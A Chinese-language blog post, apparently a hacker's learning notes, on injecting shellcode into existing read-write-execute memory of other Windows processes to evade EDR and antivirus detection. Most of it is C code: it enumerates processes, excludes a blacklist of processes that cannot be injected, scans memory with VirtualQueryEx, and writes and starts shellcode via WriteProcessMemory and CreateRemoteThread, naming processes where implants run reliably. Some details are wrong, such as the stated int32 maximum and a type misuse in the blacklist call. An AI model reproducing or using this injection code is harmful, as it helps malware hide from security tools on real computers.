C语言-让注入进行到底
C语言-让注入进行到底
最近在学怎么干掉edr的内存保护
查资料的过程中逐渐走上了一条不归路
然后查着查着就找到这篇文章Windows shellcode执行技术入门指南
RWX远程注入
原理介绍
其中介绍了一个@subTee分享的一个思路,通常我们执行shellcode需要给申请一段RWX的内存空间,还有一些免杀思路是先申请可读可写的空间,写入shellcode然后在设置内存空间可执行。但是这个操作会比较敏感(比如wd)。
1、遍历所有有权限的进程空间,搜索为RWX的内存空间。
2、利用OpenProcess
打开目标进程。
3、WriteProcessMemory
向目标内存写入shellcode。
4、CreateRemoteThread
远程激活shellcode执行。
实现过程
遍历所有进程句柄,获取Process信息
原文中代码 OpenProcess需要只有PROCESS_QUERY_INFORMATION
但是调试过程中函数调用返回0,查资料后发现进程句柄需要有PROCESS_QUERY_INFORMATION
和PROCESS_VM_READ
的权限。
修改后代码:
HMODULE hMod;
DWORD cbNeeded;
TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");
HANDLE process = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, processID);
if (NULL != process)
{
if (EnumProcessModules(process, &hMod, sizeof(hMod), &cbNeeded))
{
GetModuleBaseName(process, hMod, szProcessName, sizeof(szProcessName) / sizeof(TCHAR));
}
}
szProcessName为获取的进程名,后面有些进程无法注入,所以单独提出进程名是比较重要的一步,后面可以利用一个黑名单列表屏蔽掉一些已知的无法注入的进程。
排除无法注入进程名
以下是在win10/win8.1中测试出的一些常见进程名称,win10中能够比较稳定上线的是devenv.exe、onedrive.exe、ServiceHub.Host.Node.x86.exe
/*
字符串转小写
*/
char *strlowr(char *str)
{
char *orign = str;
for (; *str != '\0'; str++)
*str = tolower(*str);
return orign;
}
/*
字符串搜索
*/
static int str_search(const char*key, const char**pstr, int num)
{
int i;
for (i = 0; i < num; i++)
{
//// 指针数组 p首先是个指针 然后指向类型是地址 所以是二级指针
if (strcmp(*pstr++, key) == 0)
{
return 0;
}
}
return -1;
}
const char* blacklist[] = { "systemsettings.exe","cmd.exe","svchost.exe","smascui.exe","vmtoolsd.exe","lsass.exe","dllhost.exe","conhost.exe","sihost.exe","vm3dservice.exe","explorer.exe","360settingcenter.exe","searchui.exe","taskhostw.exe","shellexperiencehost.exe","chsime.exe","360tray.exe","RuntimeBroker.exe","softmgrlite.exe" };
const char* pdest = strlowr(szProcessName);
int ret;
ret = str_search(pdest, strlowr(blacklist), sizeof(blacklist) / sizeof(char*));//字符串对比判断
搜索进程中RWX内存部分
搜索大小为0x00000000到0x7FFFFFFFF(0x7FFFFFFFF是int32的最大地址)
利用VirtualQueryEx
查询地址空间中的内存地址信息。
long MaxAddress = 0x7fffffff;
long address = 0;
int c = 0;
do
{
MEMORY_BASIC_INFORMATION m;
int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));
if (m.AllocationProtect == PAGE_EXECUTE_READWRITE)
{
printf("RWX found at 0x%x\n", m.BaseAddress);
return m.BaseAddress;
}
else if (c > 50000) {
printf(".");
c = 0;
}
else {
c += 1;
}
if (address == (long)m.BaseAddress + (long)m.RegionSize)
break;
address = (long)m.BaseAddress + (long)m.RegionSize;
} while (address <= MaxAddress);
第七行int result = VirtualQueryEx(process, (LPVOID)address, &m, sizeof(MEMORY_BASIC_INFORMATION));
其中&m是向MEMORY_BASIC_INFORMATION结构的指针,用于接收内存信息。
m.AllocationProtect == PAGE_EXECUTE_READWRITE
判断允许读写和执行代码。
根据返回内存地址和进程id注入shellcode
void Exec(LPVOID address, DWORD processID)
{
printf("[*] Exec Shellcode... ");
char shellcode[] = { shellcode操作码};
HANDLE procHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processID);
WriteProcessMemory(procHandle, address, shellcode, sizeof(shellcode), 0);
LPVOID hThread = CreateRemoteThread(procHandle, 0, 0, (LPVOID)(address), 0, 0, 0);
printf("Done \n");
}